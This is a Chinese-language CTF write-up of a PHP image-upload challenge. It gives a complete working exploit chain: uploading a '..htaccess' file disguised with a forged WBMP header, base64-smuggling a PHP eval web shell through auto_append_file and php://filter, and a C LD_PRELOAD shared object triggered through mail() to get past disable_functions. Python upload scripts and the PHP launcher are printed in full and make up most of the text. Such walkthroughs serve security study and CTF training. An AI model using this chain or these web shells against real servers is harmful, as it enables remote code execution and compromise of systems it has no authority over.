环境搭建 官方源码发布 (包含docker)
线上环境 (目前还能访问)
源码分析 查看html注释发现
http://35.246.234.136/?source
获得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php if (isset ($_GET["source" ])) die (highlight_file(__FILE__ )); session_start(); if (!isset ($_SESSION["home" ])) { $_SESSION["home" ] = bin2hex(random_bytes(20 )); } $userdir = "images/{$_SESSION[" home"]}/" ; if (!file_exists($userdir)) { mkdir($userdir); } $disallowed_ext = array ( "php" , "php3" , "php4" , "php5" , "php7" , "pht" , "phtm" , "phtml" , "phar" , "phps" , ); if (isset ($_POST["upload" ])) { if ($_FILES['image' ]['error' ] !== UPLOAD_ERR_OK) { die ("yuuuge fail" ); } $tmp_name = $_FILES["image" ]["tmp_name" ]; $name = $_FILES["image" ]["name" ]; $parts = explode("." , $name); $ext = array_pop($parts); if (empty ($parts[0 ])) { array_shift($parts); } if (count($parts) === 0 ) { die ("lol filename is empty" ); } if (in_array($ext, $disallowed_ext, TRUE )) { die ("lol nice try, but im not stupid dude..." ); } $image = file_get_contents($tmp_name); if (mb_strpos($image, "<?" ) !== FALSE ) { die ("why would you need php in a pic....." ); } if (!exif_imagetype($tmp_name)) { die ("not an image." ); } $image_size = getimagesize($tmp_name); if ($image_size[0 ] !== 1337 || $image_size[1 ] !== 1337 ) { die ("lol noob, your pic is not l33t enough" ); } $name = implode("." , $parts); move_uploaded_file($tmp_name, $userdir . $name . "." . $ext); } echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>" ;foreach (glob($userdir . "*" ) as $file) { echo "<li><a href='$file'>$file</a></li>" ; } echo "</ul>" ;?> <h1>Upload your pics!</h1> <form method="POST" action="?" enctype="multipart/form-data" > <input type="file" name="image" > <input type="submit" name=upload> </form> <!-- /?source -->
先解释几个php函数
array_pop
:array_pop — Pop the element off the end of array
explode
:explode — Split a string by a string
array_shift
:array_shift — Shift an element off the beginning of array
exif_imagetype
:exif_imagetype — Determine the type of an image
getimagesize
:getimagesize — Get the size of an image
implode
:implode — Join array elements with a string
mb_strpos
:mb_strpos — Find position of first occurrence of string in a string
通过读源码,攻击者可以上传文件。上传的文件有很多限制。
文件名必须要包含.
设置了文件后缀黑名单"php","php3","php4","php5","php7","pht","phtm","phtml","phar","phps"
,黑名单非常完善。
如果文件名是通过get或post获取的,可采用php\n
的方式绕过
如果存在.htaccess
可以通过上传.htaccess
达到其他后缀的效果
如果获取文件后缀的方式有问题,可以通过php/.
方式绕过
文件内容不能包含<?
文件要通过exif_imagetype
的检查
图片的height和width要是1337
思路一 通过php/.
能够写文件吗?
从上面发现好像能够写文件,但是需要我们控制文件名为xxx.php/.
在上传文件的过程中我们只能够控制filename
但是测试发现当filename改为
wushell.php/.
的时候$name = $_FILES["image"]["name"]
只能为.
,后来又测试了一下通过$_FILES
获取的文件名不能包含/
,他会取最后一个/
后面的内容。所以想通过xxx.php/.
的思路行不通。
思路二 然后再试.htaccess
存在可能有戏。
1 2 3 4 5 6 7 8 9 10 $parts = explode("." , $name); $ext = array_pop($parts); if (empty ($parts[0 ])) { array_shift($parts); } if (count($parts) === 0 ) { die ("lol filename is empty" ); }
但是如果我们控制filename
为.htaccess
这是$parts
将为空,难道.htaccess
也不行吗?有个地方比较奇怪
1 2 3 if (empty($parts[0])) { array_shift($parts); }
这样做可能会导致最后的filename与从$name = $_FILES["image"]["name"]
不同。
如果我们控制filename
为..htaccess
不就行了吗?
好的到目前为止,我们可以控制最后的文件名为.htaccess
了。
如果能够控制.htaccess
的内容为
1 AddType application/x-httpd-php .wuwu
即可。
但是这样肯定是不能满足关于图片的哪些检查的。
根据前面的分析,.htaccess
需要满足
exif_imagetype() 支持的magic number
AddType application/x-httpd-php .wuwu
还要能正确解析
如果强行加magic number是不能被正确解析的,可以加注释#
,但是没有magic number为#
。感觉到这时候可以fuzz了
https://github.com/php/php-src/blob/e219ec144ef6682b71e135fd18654ee1bb4676b4/ext/standard/image.c
根据这进行fuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'}; PHPAPI const char php_sig_psd[4] = {'8', 'B', 'P', 'S'}; PHPAPI const char php_sig_bmp[2] = {'B', 'M'}; PHPAPI const char php_sig_swf[3] = {'F', 'W', 'S'}; PHPAPI const char php_sig_swc[3] = {'C', 'W', 'S'}; PHPAPI const char php_sig_jpg[3] = {(char) 0xff, (char) 0xd8, (char) 0xff}; PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47, (char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a}; PHPAPI const char php_sig_tif_ii[4] = {'I','I', (char)0x2A, (char)0x00}; PHPAPI const char php_sig_tif_mm[4] = {'M','M', (char)0x00, (char)0x2A}; PHPAPI const char php_sig_jpc[3] = {(char)0xff, (char)0x4f, (char)0xff}; PHPAPI const char php_sig_jp2[12] = {(char)0x00, (char)0x00, (char)0x00, (char)0x0c, (char)0x6a, (char)0x50, (char)0x20, (char)0x20, (char)0x0d, (char)0x0a, (char)0x87, (char)0x0a}; PHPAPI const char php_sig_iff[4] = {'F','O','R','M'}; PHPAPI const char php_sig_ico[4] = {(char)0x00, (char)0x00, (char)0x01, (char)0x00}; PHPAPI const char php_sig_riff[4] = {'R', 'I', 'F', 'F'}; PHPAPI const char php_sig_webp[4] = {'W', 'E', 'B', 'P'};
测试发现0x00开头的能满足条件。
所以jp2 和ico能够满足。
ico的长度最多是0xff,为1337是0x539
jp2 只修改header不能改变getimagesize的结果。到这里感觉有点凉凉。
硬着头皮查
http://php.net/manual/en/function.exif-imagetype.php#refsect1-function.exif-imagetype-constants
剩下的magic number
查到wbmp可以
https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format
然后用此链接
https://image.online-convert.com/convert-to-wbmp
生成一个1337*1337大小的图像,然后删除只留00008A398A39
这些即可满足type为wbmp长宽高为1337
到这里终于可以写.htaccess
了
但是虽然xxx.wuwu 能够当成php执行了,但是还是不能写<?
解决的方式还是使用伪协议。
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
会自动include一个php脚本
所以最后的htaccess
1 2 AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport base64url = "http://35.246.234.136/?" header = {"Cookie" :"PHPSESSID=58eshi3a265dguf0icnkc6qk5a" } htaccess = b"""\x00\x00\x8a\x39\x8a\x39 AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu" """ shell = b"\x00\x00\x8a\x39\x8a\x39" +b"00" + base64.b64encode(b"<?php eval($_GET['c']);?>" ) files = [('image' ,('..htaccess' ,htaccess,'application/octet-stream' ))] data = {"upload" :"Submit" } proxies = {"http" :"http://127.0.0.1:8080" } print("upload .htaccess" ) r = requests.post(url=url, data=data, files=files,headers=header) print("upload shell.wuwu" ) files = [('image' ,('shell.wuwu' ,shell,'application/octet-stream' ))] r = requests.post(url=url, data=data, files=files,headers=header)
查看phpinfo()
http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu?c=var_dump(scandir(%27/%27));
发现flag和get_flag,先尝试读取flag
1 http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu?c=highlight_file(%27/flag%27);
发现啥都没有,应该是没有权限读
算了,还是先绕过disable fucntion吧
想到了前段时间爆出来的imap_open
绕过disable function
https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
https://github.com/Bo0oM/PHP_imap_open_exploit
判断imap_open 是否存在
1 http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu?c=var_dump(get_defined_functions());
没有imap_open
mail
存在利用LD_PRELOAD
进行绕过
原理可参见
https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/
参考这个
https://github.com/tothi/ctfs/tree/master/alictf-2016/homework
打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdlib.h> #include <stdio.h> #include <string.h> void payload (char *cmd) { char buf[512 ]; strcpy (buf, cmd); strcat (buf, " > /tmp/_0utput.txt" ); system(buf); } int geteuid () { char *cmd; if (getenv("LD_PRELOAD" ) == NULL ) { return 0 ; } unsetenv("LD_PRELOAD" ); if ((cmd = getenv("_evilcmd" )) != NULL ) { payload(cmd); } return 1 ; }
上传evil.so
1 move_uploaded_file($_FILES['evil']['tmp_name'],'/tmp/evil.so');
1 2 3 4 5 6 7 8 9 import requestsurl = "http://35.246.234.136/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu" param = {"c" :"move_uploaded_file($_FILES['evil']['tmp_name'],'/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.php');echo 'ok';var_dump(scandir('/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72'));" } files = [('evil' ,('evil.so' ,open("shell.php" ,"rb" ),'application/octet-stream' ))] r = requests.post(url=url, files=files, params=param) print(r.text)
shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $r1 = putenv("LD_PRELOAD=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/evil.so" ); echo "putenv: $r1 <br>" ;$cmd = $_GET['cmd' ]; $r2 = putenv("_evilcmd=$cmd" ); echo "putenv: $r2 <br>" ;$r3 = mail("a@example.com" , "" , "" , "" ); echo "mail: $r3 <br>" ;highlight_file("/tmp/_0utput.txt" ); ?>
终于能执行命令了!